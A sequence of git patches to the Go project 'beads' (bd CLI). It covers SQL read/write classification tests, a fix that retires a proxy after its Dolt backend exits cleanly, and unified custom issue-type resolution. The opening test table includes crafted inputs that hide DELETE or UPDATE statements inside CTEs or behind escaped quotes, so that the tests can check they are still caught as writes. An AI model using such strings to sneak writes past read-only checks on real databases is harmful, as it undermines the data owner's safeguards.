UNION ALL SELECT i + 1 FROM n WHERE i < 3) SELECT i FROM n", Read}, + {"recursive cte", "WITH RECURSIVE t AS (SELECT 1 AS i UNION ALL SELECT i + 1 FROM t WHERE i < 3) SELECT * FROM t", Read}, + {"multiple ctes with column lists", "WITH a(x) AS (SELECT 1), b(y) AS (SELECT x FROM a) SELECT y FROM b", Read}, + {"cte nested parens", "WITH t AS (SELECT (1 + (2 * 3)) AS n) SELECT n FROM t", Read}, + {"cte keywords in literal", "WITH t AS (SELECT ') DELETE FROM issues' AS s) SELECT s FROM t", Read}, + {"cte escaped quote in literal", `WITH t AS (SELECT 'a\'(' AS s) SELECT s FROM t`, Read}, + {"cte comment with keywords", "WITH t AS (SELECT 1 AS n /* ) DELETE */) SELECT n FROM t", Read}, + {"cte union main", "WITH t(n) AS (SELECT 1) SELECT n FROM t UNION SELECT 2", Read}, + + // CTE writes must stay writes: a read transaction is rolled back. + {"cte delete", "WITH t AS (SELECT id FROM issues) DELETE FROM issues WHERE id IN (SELECT id FROM t)", Write}, + {"cte column list update", "WITH t(i) AS (SELECT id FROM issues) UPDATE issues SET priority = 1 WHERE id IN (SELECT i FROM t)", Write}, + {"recursive cte delete", "WITH RECURSIVE t(i) AS (SELECT 1 UNION ALL SELECT i + 1 FROM t WHERE i < 3) DELETE FROM issues WHERE priority IN (SELECT i FROM t)", Write}, + {"cte escaped quote hides delete", `WITH t AS (SELECT 'a\'(' AS x) DELETE FROM issues`, Write}, + {"insert select with cte", "INSERT INTO labels (issue_id, label) WITH t AS (SELECT id FROM issues) SELECT id, 'x' FROM t", Write}, + + {"insert", "INSERT INTO labels (issue_id, label) VALUES ('a', 'b')", Write}, + {"replace", "REPLACE INTO labels (issue_id, label) VALUES ('a', 'b')", Write}, + {"update", "UPDATE issues SET priority = 1", Write}, + {"delete", "DELETE FROM issues", Write}, + {"create table", "CREATE TABLE x (id INT PRIMARY KEY)", Write}, + {"alter table", "ALTER TABLE issues ADD COLUMN x INT", Write}, + {"drop table", "DROP TABLE x", Write}, + {"set", "SET @x = 1", Write}, + {"select into variable", "SELECT 1 INTO @x", Write}, + + // Statements that may write AND return rows, or that the parser + // cannot classify, must run in a committing transaction that still + // renders any result set. + {"call", "CALL DOLT_COMMIT('-Am', 'msg')", Mixed}, + {"explain analyze delete", "EXPLAIN ANALYZE DELETE FROM issues", Mixed}, + {"unparseable", "PRAGMA table_info(issues)", Mixed}, + {"garbage", "NOT SQL AT ALL (", Mixed}, + {"empty", "", Mixed}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + if got := Classify(tc.query); got != tc.want { + t.Errorf("Classify(%q) = %v, want %v", tc.query, got, tc.want) + } + }) + } +} From d803ec9126028a76124c81ee90ca8068a1c744df Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Tue, 29 Sep 2026 01:48:15 -0700 Subject: [PATCH 218/624] fix(dbproxy): retire the proxy when its Dolt backend exits cleanly (#6937) * fix(dbproxy): retire the proxy when its Dolt backend exits cleanly DoltServer supervised `dolt sql-server` with cmd.Wait inside an errgroup, and Running read the errgroup context. errgroup cancels that context only for a non-nil result, so a backend that shut down gracefully (dolt exits 0 on SIGTERM) was reported as running forever. The proxy's backend health watcher never fired: the proxy stayed up and adoptable in front of a dead store. With --proxied-server-idle-timeout 0 (the setting Gas City uses) it never went away; `bd dolt status` said "running" and every command, `bd ping` included, failed until `bd dolt stop`. The supervising goroutine now reports a clean exit as errBackendExited, so Running flips on any backend exit and Stop treats it as benign. This follows the existing proxied lifecycle contract (child death retires the owned proxy; the next bd invocation starts a fresh proxy/backend pair) rather than adding in-proxy restarts: spawn, adoption, stop epochs and identity already live in the on-demand start path, and a second restart loop inside the proxy would duplicate that and could mask a crash-looping backend. `bd dolt status` no longer headlines a proxy whose managed backend is gone as "running"; it says the proxy is up but not serving and points at `bd dolt stop` (for proxies from an older bd). The JSON payload is unchanged. `bd ping` already verifies by running SELECT 1 through the proxy, so after this fix a successful ping reflects a live pair. Tests: DoltServer Running goes false after SIGTERM (clean exit) and SIGKILL, and Stop succeeds; managed-local lane test that SIGTERMs the backend with idle timeout 0 and requires the proxy to retire and `bd ping --json` to succeed on a fresh pair; status render case. Co-Authored-By: Claude Opus 5.5 * fix(dolt status): report running=false for a proxy over a dead managed backend Review follow-up: the JSON running field now means "serving" (a live proxy and, on a managed topology, a live dolt behind it), so scripts that key off running alone are not fooled by a stranded proxy left by an older bd. proxy_pid/proxy_port and backend_* are unchanged. Adds the PR link to the CHANGELOG entry. Co-Authored-By: Claude Opus 5.5 * docs(changelog): resolve merge markers left by the origin/main merge Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Opus 5.5 --- .github/workflows/proxied-local-smoke.yml | 3 +- CHANGELOG.md | 13 ++++ cmd/bd/BUILD.bazel | 1 + cmd/bd/dolt_proxied_lifecycle.go | 35 +++++++-- cmd/bd/dolt_proxied_lifecycle_test.go | 40 +++++++++++ cmd/bd/proxied_local_backend_exit_test.go | 71 +++++++++++++++++++ internal/storage/dbproxy/server/BUILD.bazel | 1 + internal/storage/dbproxy/server/doltserver.go | 14 +++- .../server/doltserver_exit_unix_test.go | 64 +++++++++++++++++ 9 files changed, 233 insertions(+), 9 deletions(-) create mode 100644 cmd/bd/proxied_local_backend_exit_test.go create mode 100644 internal/storage/dbproxy/server/doltserver_exit_unix_test.go diff --git a/.github/workflows/proxied-local-smoke.yml b/.github/workflows/proxied-local-smoke.yml index 55967a0f2..bfa874fb1 100644 --- a/.github/workflows/proxied-local-smoke.yml +++ b/.github/workflows/proxied-local-smoke.yml @@ -133,7 +133,8 @@ jobs: TestManagedLocalProxiedBackupRoundTrip \ TestManagedLocalProxiedAutoBackup \ TestManagedLocalProxiedBackupRestoreRefusedWhileAttached \ - TestManagedLocalProxiedPurgeWispsPlaneRetention + TestManagedLocalProxiedPurgeWispsPlaneRetention \ + TestManagedLocalProxiedBackendCleanExitRetiresProxy do if ! grep -qx "$test_name" <<<"$listed"; then echo "managed-local lifecycle test $test_name is missing; got: '$listed'" >&2 diff --git a/CHANGELOG.md b/CHANGELOG.md index f176495a5..ea1413265 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,6 +9,19 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Fixed +- **A proxied workspace's proxy retires when its Dolt backend exits + cleanly.** The proxy noticed its `dolt sql-server` child exiting only when + the exit status was non-zero. A backend that shut down gracefully (for + example on SIGTERM) left the proxy up and adoptable in front of a dead store: + with `--proxied-server-idle-timeout 0` it never went away, `bd dolt status` + called it running, and every command failed until `bd dolt stop`. The proxy + now retires on any backend exit, as it already did on a crash, so the next bd + command (including `bd ping`) starts a fresh proxy and backend. `bd dolt + status` no longer reports a proxy whose managed backend is gone as running: + the text says "not serving" and the JSON reports `running: false` (with + `proxy_pid` still set), including for a stranded proxy started by an older + bd. ([#6937](https://github.com/gastownhall/beads/pull/6937)) + - **`bd sql` no longer drops the rows of CTE queries or CALL result sets** ([#6932](https://github.com/gastownhall/beads/pull/6932)). In proxied-server mode, `WITH name(cols) AS (...) SELECT ...` and `WITH RECURSIVE ...` queries diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 7e7bddeaa..9a0066ff2 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -929,6 +929,7 @@ go_test( "provenance_test.go", "proxied_direct_only_refusal_frontdoor_test.go", "proxied_integration_helpers_test.go", + "proxied_local_backend_exit_test.go", "proxied_local_dolt_lifecycle_test.go", "proxied_local_helpers_test.go", "proxied_local_identity_lifecycle_linux_test.go", diff --git a/cmd/bd/dolt_proxied_lifecycle.go b/cmd/bd/dolt_proxied_lifecycle.go index 31b7db6cb..28d06357f 100644 --- a/cmd/bd/dolt_proxied_lifecycle.go +++ b/cmd/bd/dolt_proxied_lifecycle.go @@ -43,9 +43,12 @@ func proxiedDoltStartRefusal() *ProxyCapabilityError { // proxiedDoltStatus is the `bd dolt status --json` payload for a proxied // workspace. It reports the two processes separately because they fail -// separately and an operator's next move differs: Running describes the proxy, -// which is the endpoint every bd command connects through, while the Backend* -// fields describe the dolt server behind it. +// separately and an operator's next move differs: Running says whether the +// workspace is serving (a live proxy, and on a managed topology a live dolt +// behind it), Proxy* describe the proxy every bd command connects through, and +// the Backend* fields describe the dolt server behind it. A proxy left in front +// of a dead managed backend (possible with proxies started by an older bd) +// therefore reports running=false with proxy_pid still set. type proxiedDoltStatus struct { Mode string `json:"mode"` Root string `json:"root"` @@ -98,9 +101,17 @@ func collectProxiedDoltStatus(beadsDir string) (proxiedDoltStatus, error) { status.BackendEndpoint = externalDoltEndpoint(*info.External) } } + status.Running = proxiedStatusServing(live.ProxyRunning, status.BackendManaged, status.BackendRunning) return status, nil } +// proxiedStatusServing reports whether a proxied workspace is serving: its +// proxy is live and, when bd manages the backend, that dolt server is live +// too. A proxy in front of a dead managed backend serves nothing. +func proxiedStatusServing(proxyRunning, backendManaged, backendRunning bool) bool { + return proxyRunning && (!backendManaged || backendRunning) +} + func externalDoltEndpoint(cfg configfile.ExternalDoltConfig) string { if cfg.Socket != "" { return "unix:" + cfg.Socket @@ -116,11 +127,20 @@ func renderProxiedDoltStatus(status proxiedDoltStatus) { return } - if status.Running { + // A live proxy in front of a managed backend that is gone serves nothing, + // so do not call it running. The proxy retires itself once it notices + // the backend exit; a proxy from an older bd may not. + backendDown := !status.Running && status.ProxyPID != 0 && status.BackendManaged && !status.BackendRunning + switch { + case backendDown: + fmt.Printf("Dolt server: not serving (%s): proxy is up but its dolt backend is not running\n", status.Mode) + fmt.Printf(" Proxy PID: %d\n", status.ProxyPID) + fmt.Printf(" Proxy port: %d\n", status.ProxyPort) + case status.Running: fmt.Printf("Dolt server: running (%s)\n", status.Mode) fmt.Printf(" Proxy PID: %d\n", status.ProxyPID) fmt.Printf(" Proxy port: %d\n", status.ProxyPort) - } else { + default: fmt.Printf("Dolt server: not running (%s)\n", status.Mode) } fmt.Printf(" Root: %s\n", status.Root) @@ -135,9 +155,12 @@ func renderProxiedDoltStatus(status proxiedDoltStatus) { if status.IdleTimeout != "" { fmt.Printf(" Idle timeout: %s\n", status.IdleTimeout) } - if !status.Running { + if !status.Running && !backendDown { fmt.Println(" The proxy starts on demand; the next bd command launches it.") } + if backendDown { + fmt.Println(" Run 'bd dolt stop' to retire the proxy; the next bd command starts a fresh proxy and backend.") + } if isDoltLocalOnly() { fmt.Println(" Remote sync: disabled (dolt.local-only=true)") } diff --git a/cmd/bd/dolt_proxied_lifecycle_test.go b/cmd/bd/dolt_proxied_lifecycle_test.go index d12f87d0b..aa31c22e6 100644 --- a/cmd/bd/dolt_proxied_lifecycle_test.go +++ b/cmd/bd/dolt_proxied_lifecycle_test.go @@ -151,6 +151,28 @@ func TestRenderProxiedDoltStatus(t *testing.T) { } }) + t.Run("text does not call a proxy over a dead managed backend running", func(t *testing.T) { + defer restoreJSONOutput(t)() + jsonOutput = false + stranded := running + stranded.Running = false + stranded.BackendRunning, stranded.BackendPID, stranded.BackendPort = false, 0, 0 + out := captureStdout(t, func() error { renderProxiedDoltStatus(stranded); return nil }) + if strings.Contains(out, "Dolt server: running") { + t.Errorf("proxy with a dead backend reported as running:\n%s", out) + } + for _, want := range []string{ + "Dolt server: not serving (proxied-server)", + "Proxy PID: 111", + "Backend: not running", + "bd dolt stop", + } { + if !strings.Contains(out, want) { + t.Errorf("missing %q in:\n%s", want, out) + } + } + }) + t.Run("text marks an external backend as somebody else's", func(t *testing.T) { defer restoreJSONOutput(t)() jsonOutput = false @@ -180,6 +202,24 @@ func TestRenderProxiedDoltStatus(t *testing.T) { }) } +func TestProxiedStatusServing(t *testing.T) { + for _, tc := range []struct { + name string + proxyRunning, managed, backendRunning bool + want bool + }{ + {"managed pair live", true, true, true, true}, + {"proxy over dead managed backend", true, true, false, false}, + {"external backend", true, false, false, true}, + {"proxy down", false, true, true, false}, + {"nothing running", false, true, false, false}, + } { + if got := proxiedStatusServing(tc.proxyRunning, tc.managed, tc.backendRunning); got != tc.want { + t.Errorf("%s: proxiedStatusServing(%v, %v, %v) = %v, want %v", tc.name, tc.proxyRunning, tc.managed, tc.backendRunning, got, tc.want) + } + } +} + func restoreJSONOutput(t *testing.T) func() { t.Helper() orig := jsonOutput diff --git a/cmd/bd/proxied_local_backend_exit_test.go b/cmd/bd/proxied_local_backend_exit_test.go new file mode 100644 index 000000000..f4b5e336d --- /dev/null +++ b/cmd/bd/proxied_local_backend_exit_test.go @@ -0,0 +1,71 @@ +//go:build cgo && unix + +package main + +import ( + "encoding/json" + "strings" + "syscall" + "testing" + "time" +) + +// backendCleanExitRetireTimeout bounds how long the proxy may outlive a dolt +// backend that shut down gracefully. dolt's own SIGTERM shutdown dominates it; +// the proxy's health watcher polls every 100ms. +const backendCleanExitRetireTimeout = 30 * time.Second + +// TestManagedLocalProxiedBackendCleanExitRetiresProxy extends the child-death +// contract (see TestManagedLocalProxiedOutageReconnectContract, which kills +// the backend) to a backend that exits CLEANLY: SIGTERM makes dolt shut down +// gracefully with status 0. The proxy must retire just as it does for a +// crash, so the next bd command starts a fresh proxy/backend pair and `bd +// ping` answers from a live store. +// +// Before the fix the proxy only noticed non-zero exits. With idle timeout 0 +// (never idle out) it stayed up and adoptable in front of a dead backend +// indefinitely: `bd dolt status` said "running", and every command, `bd ping` +// included, failed until an operator ran `bd dolt stop`. +func TestManagedLocalProxiedBackendCleanExitRetiresProxy(t *testing.T) { + requireManagedLocalProxiedEnv(t) + bd := buildEmbeddedBD(t) + p := bdProxiedInit(t, bd, "clean_exit", "--proxied-server-idle-timeout", "0") + sentinel := bdProxiedCreate(t, bd, p.dir, "clean exit sentinel") + + proxyBefore := readManagedProxyPidFile(t, p) + if proxyBefore == nil || !processAlive(proxyBefore.Pid) { + t.Fatalf("managed-local proxy is not running: %+v", proxyBefore) + } + backendBefore := readManagedBackendPidFile(t, p) + if backendBefore == nil || !processAlive(backendBefore.Pid) { + t.Fatalf("managed-local backend is not running: %+v", backendBefore) + } + + if err := syscall.Kill(backendBefore.Pid, syscall.SIGTERM); err != nil { + t.Fatalf("SIGTERM dolt backend pid %d: %v", backendBefore.Pid, err) + } + waitForManagedProxiedShutdown(t, p, proxyBefore.Pid, backendBefore.Pid, backendCleanExitRetireTimeout) + + out, err := bdProxiedRun(t, bd, p.dir, "ping", "--json") + if err != nil { + t.Fatalf("bd ping after the backend exited: %v\n%s", err, out) + } + var ping struct { + Status string `json:"status"` + } + if err := json.Unmarshal([]byte(strings.TrimSpace(string(out))), &ping); err != nil || ping.Status != "ok" { + t.Fatalf("bd ping --json: status=%q err=%v\n%s", ping.Status, err, out) + } + if got := bdProxiedShow(t, bd, p.dir, sentinel.ID); got.Title != "clean exit sentinel" { + t.Fatalf("sentinel after restart: %+v", got) + } + + proxyAfter := readManagedProxyPidFile(t, p) + backendAfter := readManagedBackendPidFile(t, p) + if proxyAfter == nil || proxyAfter.Pid == proxyBefore.Pid || !processAlive(proxyAfter.Pid) { + t.Fatalf("expected a fresh live proxy: before=%+v after=%+v", proxyBefore, proxyAfter) + } + if backendAfter == nil || backendAfter.Pid == backendBefore.Pid || !processAlive(backendAfter.Pid) { + t.Fatalf("expected a fresh live backend: before=%+v after=%+v", backendBefore, backendAfter) + } +} diff --git a/internal/storage/dbproxy/server/BUILD.bazel b/internal/storage/dbproxy/server/BUILD.bazel index d91c09a29..4b5c883ef 100644 --- a/internal/storage/dbproxy/server/BUILD.bazel +++ b/internal/storage/dbproxy/server/BUILD.bazel @@ -29,6 +29,7 @@ go_library( go_test( name = "server_test", srcs = [ + "doltserver_exit_unix_test.go", "doltserver_test.go", "external_dolt_server_test.go", "testmain_test.go", diff --git a/internal/storage/dbproxy/server/doltserver.go b/internal/storage/dbproxy/server/doltserver.go index 52ea71a23..0cd1a8a4b 100644 --- a/internal/storage/dbproxy/server/doltserver.go +++ b/internal/storage/dbproxy/server/doltserver.go @@ -36,6 +36,13 @@ const ( LockFileName = "proxy-child.lock" ) +// errBackendExited is the result of the supervising goroutine when the dolt +// sql-server exits on its own with status 0 (for example dolt's graceful +// shutdown on SIGTERM). errgroup cancels egCtx only for a non-nil result, and +// Running reads egCtx, so without it a cleanly exited backend would be +// reported as running forever. +var errBackendExited = errors.New("dolt sql-server exited") + const ( startReadyTimeout = 30 * time.Second startReadyPollInterval = 50 * time.Millisecond @@ -303,7 +310,10 @@ func (s *DoltServer) Start(ctx context.Context) error { eg.Go(func() error { defer lock.Unlock() - return cmd.Wait() + if err := cmd.Wait(); err != nil { + return err + } + return errBackendExited }) if err := s.waitReady(ctx); err != nil { @@ -358,7 +368,7 @@ func (s *DoltServer) Stop(ctx context.Context) error { if s.eg != nil { waitErr = s.eg.Wait() var exitErr *exec.ExitError - if errors.As(waitErr, &exitErr) || errors.Is(waitErr, context.Canceled) { + if errors.As(waitErr, &exitErr) || errors.Is(waitErr, context.Canceled) || errors.Is(waitErr, errBackendExited) { waitErr = nil } } diff --git a/internal/storage/dbproxy/server/doltserver_exit_unix_test.go b/internal/storage/dbproxy/server/doltserver_exit_unix_test.go new file mode 100644 index 000000000..0dcc84fc9 --- /dev/null +++ b/internal/storage/dbproxy/server/doltserver_exit_unix_test.go @@ -0,0 +1,64 @@ +//go:build unix + +package server_test + +import ( + "context" + "syscall" + "testing" + "time" + + "github.com/steveyegge/beads/internal/storage/dbproxy/pidfile" + "github.com/steveyegge/beads/internal/storage/dbproxy/server" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +// backendExitNoticeTimeout bounds how long Running may keep reporting a +// backend that has left the process table. dolt's own graceful shutdown on +// SIGTERM dominates this; the detection itself is immediate. +const ( + backendExitNoticeTimeout = 30 * time.Second + backendExitNoticePoll = 50 * time.Millisecond +) + +// TestDoltServer_RunningFalseAfterBackendExits verifies Running observes the +// dolt sql-server leaving on its own, whatever its exit status. A SIGTERM'd +// dolt shuts down gracefully and exits 0; before the fix only a non-zero exit +// flipped Running, so the proxy's backend health watcher never fired and the +// proxy stayed up (and adoptable) in front of a dead backend. +func TestDoltServer_RunningFalseAfterBackendExits(t *testing.T) { + for _, tc := range []struct { + name string + sig syscall.Signal + }{ + {name: "clean exit on SIGTERM", sig: syscall.SIGTERM}, + {name: "killed", sig: syscall.SIGKILL}, + } { + t.Run(tc.name, func(t *testing.T) { + s, rootDir := newDoltServer(t) + ctx := context.Background() + require.NoError(t, s.Start(ctx)) + require.True(t, s.Running(ctx)) + + pf, err := pidfile.Read(rootDir, server.PIDFileName) + require.NoError(t, err) + require.NotNil(t, pf) + require.NoError(t, syscall.Kill(pf.Pid, tc.sig)) + + deadline := time.Now().Add(backendExitNoticeTimeout) + for s.Running(ctx) && time.Now().Before(deadline) { + time.Sleep(backendExitNoticePoll) + } + require.False(t, s.Running(ctx), "Running still true %s after the dolt sql-server (pid %d) got %s", backendExitNoticeTimeout, pf.Pid, tc.sig) + + // A backend that exited on its own is not a Stop failure. + stopCtx, cancel := context.WithTimeout(ctx, stopTimeout) + defer cancel() + require.NoError(t, s.Stop(stopCtx)) + left, err := pidfile.Read(rootDir, server.PIDFileName) + require.NoError(t, err) + assert.Nil(t, left, "Stop must remove the backend pid record") + }) + } +} From 2bb5337355244880125c7a2bec7f5680053b0a76 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Tue, 29 Sep 2026 02:10:46 -0700 Subject: [PATCH 219/624] fix(types): one source of truth for issue types across bd types and create (#6934) bd types and create validation now both resolve custom types through issueops.ComposeCustomTypes in every mode (direct, server, proxied). Server-mode bd types now includes config.yaml types, proxied config set storage-class accepts DB types, and bd types lists the system types (message, molecule, gate, event); JSON gains additive system_types. Custom-type read errors now fail instead of being swallowed. Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 16 ++ cmd/bd/BUILD.bazel | 3 +- cmd/bd/config.go | 6 +- cmd/bd/create_proxied_server.go | 10 +- cmd/bd/create_proxied_server_test.go | 55 ------ cmd/bd/graph_apply.go | 16 +- cmd/bd/types.go | 94 ++++++++-- cmd/bd/types_builtin_test.go | 40 ++++ cmd/bd/types_create_agreement_test.go | 130 +++++++++++++ cmd/bd/types_proxied_server.go | 20 -- internal/storage/domain/db/config.go | 48 +---- internal/storage/issueops/BUILD.bazel | 1 + internal/storage/issueops/config_helpers.go | 56 +++--- .../issueops/custom_types_parity_test.go | 173 ++++++++++++++++++ 14 files changed, 493 insertions(+), 175 deletions(-) create mode 100644 cmd/bd/types_builtin_test.go create mode 100644 cmd/bd/types_create_agreement_test.go delete mode 100644 cmd/bd/types_proxied_server.go create mode 100644 internal/storage/issueops/custom_types_parity_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index ea1413265..d1dceed0c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -40,6 +40,22 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 statements it cannot parse (for example `PRAGMA`) instead of treating them as reads. +- **`bd types` now lists exactly the types `bd create --type` accepts** + ([#6934](https://github.com/gastownhall/beads/pull/6934)). The two resolved + the type set through different code and could disagree: a server-mode + workspace's `bd types` dropped `.beads/config.yaml` `types.custom` entries + once the database had any custom type, although create accepts them; in + proxied mode `bd config set storage-class.` checked `config.yaml` alone + and refused custom types registered in the database; and the built-in system + types `message`, `molecule`, `gate` and `event` were never listed. Every + mode now composes custom types by one rule (the `custom_types` table, else + the `types.custom` config row, always unioned with `config.yaml`). `bd types` + gains a "System types" section, and `bd types --json` an additive + `system_types` field; `core_types` and `custom_types` are unchanged. A + failure to read the custom types now fails `bd types`, `bd create --graph` + and `bd config set storage-class.*` instead of being silently treated as "no + custom types". + - **`notion.token` is kept out of the Dolt database** ([#6676](https://github.com/gastownhall/beads/issues/6676)). It was missing from the yaml-only key list that holds the other tracker secrets, so diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 9a0066ff2..a1875450a 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -318,7 +318,6 @@ go_library( "todo_proxied_server.go", "tracker_store.go", "types.go", - "types_proxied_server.go", "unclaim.go", "unclaim_proxied_server.go", "undefer.go", @@ -1102,6 +1101,8 @@ go_test( "todo_embedded_test.go", "tracker_frontdoor_proxy_test.go", "tracker_proxy_uow_conformance_integration_test.go", + "types_builtin_test.go", + "types_create_agreement_test.go", "types_embedded_test.go", "unclaim_conditional_embedded_test.go", "unclaim_conditional_parity_test.go", diff --git a/cmd/bd/config.go b/cmd/bd/config.go index f39a33d77..ebdfb6ed6 100644 --- a/cmd/bd/config.go +++ b/cmd/bd/config.go @@ -1264,7 +1264,11 @@ func validateStorageClassConfig(key, value string) error { if canonical := issueType.Normalize(); canonical != issueType { return fmt.Errorf("invalid key %q: %q is an alias of %q, and create-time lookup uses the canonical type; set storage-class.%s instead", key, suffix, canonical, canonical) } - if !issueType.IsValidWithCustom(loadEmbeddedCustomTypes()) { + customTypes, err := resolveWorkspaceCustomTypes(rootCtx) + if err != nil { + return err + } + if !issueType.IsValidWithCustom(customTypes) { return fmt.Errorf("invalid key %q: unknown issue type %q (use a built-in type, or add it to types.custom first)", key, suffix) } if _, err := types.ParseStorageClass(value); err != nil { diff --git a/cmd/bd/create_proxied_server.go b/cmd/bd/create_proxied_server.go index 70e725a85..dcc409dd6 100644 --- a/cmd/bd/create_proxied_server.go +++ b/cmd/bd/create_proxied_server.go @@ -11,7 +11,6 @@ import ( "github.com/spf13/cobra" - "github.com/steveyegge/beads/internal/config" "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/storage/domain" "github.com/steveyegge/beads/internal/storage/uow" @@ -21,13 +20,6 @@ import ( "github.com/steveyegge/beads/issueops" ) -func resolveProxiedCustomTypes(dbTypes []string) []string { - if len(dbTypes) > 0 { - return dbTypes - } - return config.GetCustomTypesFromYAML() -} - func runCreateProxiedServer(cmd *cobra.Command, ctx context.Context, in createInput) error { if in.repoOverrideSet { // Defense in depth: validateProxyCapabilitiesBeforeProvider already @@ -394,7 +386,7 @@ func runCreateProxiedGraph(_ *cobra.Command, ctx context.Context, in createInput // The returned useWisp is the plan-wide table routing decision. func validateProxiedGraphPlan(plan *GraphApplyPlan, in createInput, cctx domain.CreateContext, issueExists func(id string) (bool, error)) (useWisp bool, err error) { cfg := graphPlanConfig{ - customTypes: resolveProxiedCustomTypes(cctx.CustomTypes), + customTypes: cctx.CustomTypes, // No YAML fallback for statuses — the server database is authoritative // (that's where 'bd config set status.custom' writes) and statuses are // store-only everywhere (single-issue create, list filters), unlike diff --git a/cmd/bd/create_proxied_server_test.go b/cmd/bd/create_proxied_server_test.go index b06bd6b7f..a1a327920 100644 --- a/cmd/bd/create_proxied_server_test.go +++ b/cmd/bd/create_proxied_server_test.go @@ -3,13 +3,10 @@ package main import ( "encoding/json" "fmt" - "os" - "path/filepath" "reflect" "testing" "time" - "github.com/steveyegge/beads/internal/config" "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/issueops" ) @@ -473,55 +470,3 @@ func TestParseMarkdownDependencies_DoesNotSwapBlocks(t *testing.T) { t.Errorf("got %#v, want %#v (no swap-direction)", got, want) } } - -func TestResolveProxiedCustomTypes_PrefersDBTypes(t *testing.T) { - got := resolveProxiedCustomTypes([]string{"db-a", "db-b"}) - if !reflect.DeepEqual(got, []string{"db-a", "db-b"}) { - t.Errorf("got %#v, want [db-a db-b] — DB types must win when non-empty", got) - } -} - -func TestResolveProxiedCustomTypes_FallsBackToYAML(t *testing.T) { - restore := withTestYAMLCustomTypes(t, "molecule,gate,convoy") - defer restore() - - for _, dbTypes := range [][]string{nil, {}} { - got := resolveProxiedCustomTypes(dbTypes) - if !reflect.DeepEqual(got, []string{"molecule", "gate", "convoy"}) { - t.Errorf("dbTypes=%v: got %#v, want YAML fallback [molecule gate convoy]", dbTypes, got) - } - } -} - -func TestResolveProxiedCustomTypes_EmptyEverywhere(t *testing.T) { - restore := withTestYAMLCustomTypes(t, "") - defer restore() - - got := resolveProxiedCustomTypes(nil) - if len(got) != 0 { - t.Errorf("expected empty result, got %#v", got) - } -} - -func withTestYAMLCustomTypes(t *testing.T, customCSV string) func() { - t.Helper() - tmpDir := t.TempDir() - beadsDir := filepath.Join(tmpDir, ".beads") - if err := os.MkdirAll(beadsDir, 0o755); err != nil { - t.Fatalf("mkdir .beads: %v", err) - } - var content string - if customCSV != "" { - content = "types:\n custom: \"" + customCSV + "\"\n" - } - if err := os.WriteFile(filepath.Join(beadsDir, "config.yaml"), []byte(content), 0o644); err != nil { - t.Fatalf("write config.yaml: %v", err) - } - t.Chdir(tmpDir) - - config.ResetForTesting() - if err := config.Initialize(); err != nil { - t.Fatalf("config.Initialize: %v", err) - } - return func() { config.ResetForTesting() } -} diff --git a/cmd/bd/graph_apply.go b/cmd/bd/graph_apply.go index 05750e30f..9f40f7e6d 100644 --- a/cmd/bd/graph_apply.go +++ b/cmd/bd/graph_apply.go @@ -12,7 +12,6 @@ import ( "strings" "time" - "github.com/steveyegge/beads/internal/config" "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/internal/validation" @@ -305,15 +304,6 @@ func warnUnknownGraphFields(w io.Writer, unknown map[string][]string) []string { return hintFields } -func loadEmbeddedCustomTypes() []string { - if store != nil { - if ct, err := store.GetCustomTypes(rootCtx); err == nil && len(ct) > 0 { - return ct - } - } - return config.GetCustomTypesFromYAML() -} - // loadEmbeddedCustomStatuses reads custom statuses from the store only — no // YAML fallback, matching single-issue create and loadListFilterConfig // (custom types fall back to YAML; custom statuses deliberately do not). @@ -348,9 +338,13 @@ func createIssuesFromGraph(planFile string, dryRun bool, opts GraphApplyOptions) return HandleErrorRespectJSON("parsing graph plan: %v", err) } + customTypes, err := resolveWorkspaceCustomTypes(rootCtx) + if err != nil { + return HandleErrorRespectJSON("%v", err) + } dbPrefix, allowedPrefixes := loadEmbeddedIDPrefixes() cfg := graphPlanConfig{ - customTypes: loadEmbeddedCustomTypes(), + customTypes: customTypes, customStatuses: loadEmbeddedCustomStatuses(), dbPrefix: dbPrefix, allowedPrefixes: allowedPrefixes, diff --git a/cmd/bd/types.go b/cmd/bd/types.go index a10d65a52..727833260 100644 --- a/cmd/bd/types.go +++ b/cmd/bd/types.go @@ -6,7 +6,9 @@ import ( "strings" "github.com/spf13/cobra" + "github.com/steveyegge/beads/internal/config" "github.com/steveyegge/beads/internal/metrics" + "github.com/steveyegge/beads/internal/storage/issueops" "github.com/steveyegge/beads/internal/types" ) @@ -26,14 +28,45 @@ var coreWorkTypes = []struct { {types.TypeMilestone, "Marks completion of a set of related issues (contains no work itself)"}, } +// systemTypeDescriptions describes the built-in types that are not core work +// types. bd's own commands create them (mail, molecules, gates, set-state), and +// like the core types they validate without any types.custom entry. +var systemTypeDescriptions = map[types.IssueType]string{ + types.TypeMessage: "Message between agents or users", + types.TypeMolecule: "Molecule root for swarm coordination (bd mol)", + types.TypeGate: "Async coordination gate (bd gate, formula gates)", + types.TypeEvent: "Audit-trail event (bd set-state)", +} + +// systemWorkTypes lists every built-in type that is not a core work type, in +// the types package's declaration order. Together with coreWorkTypes it covers +// exactly the types IssueType.IsBuiltIn accepts. +func systemWorkTypes() []typeInfo { + core := make(map[types.IssueType]bool, len(coreWorkTypes)) + for _, t := range coreWorkTypes { + core[t.Type] = true + } + var out []typeInfo + for _, t := range append(append([]types.IssueType{}, types.AllIssueTypes...), types.TypeEvent) { + if core[t] { + continue + } + out = append(out, typeInfo{Name: string(t), Description: systemTypeDescriptions[t]}) + } + return out +} + var typesCmd = &cobra.Command{ Use: 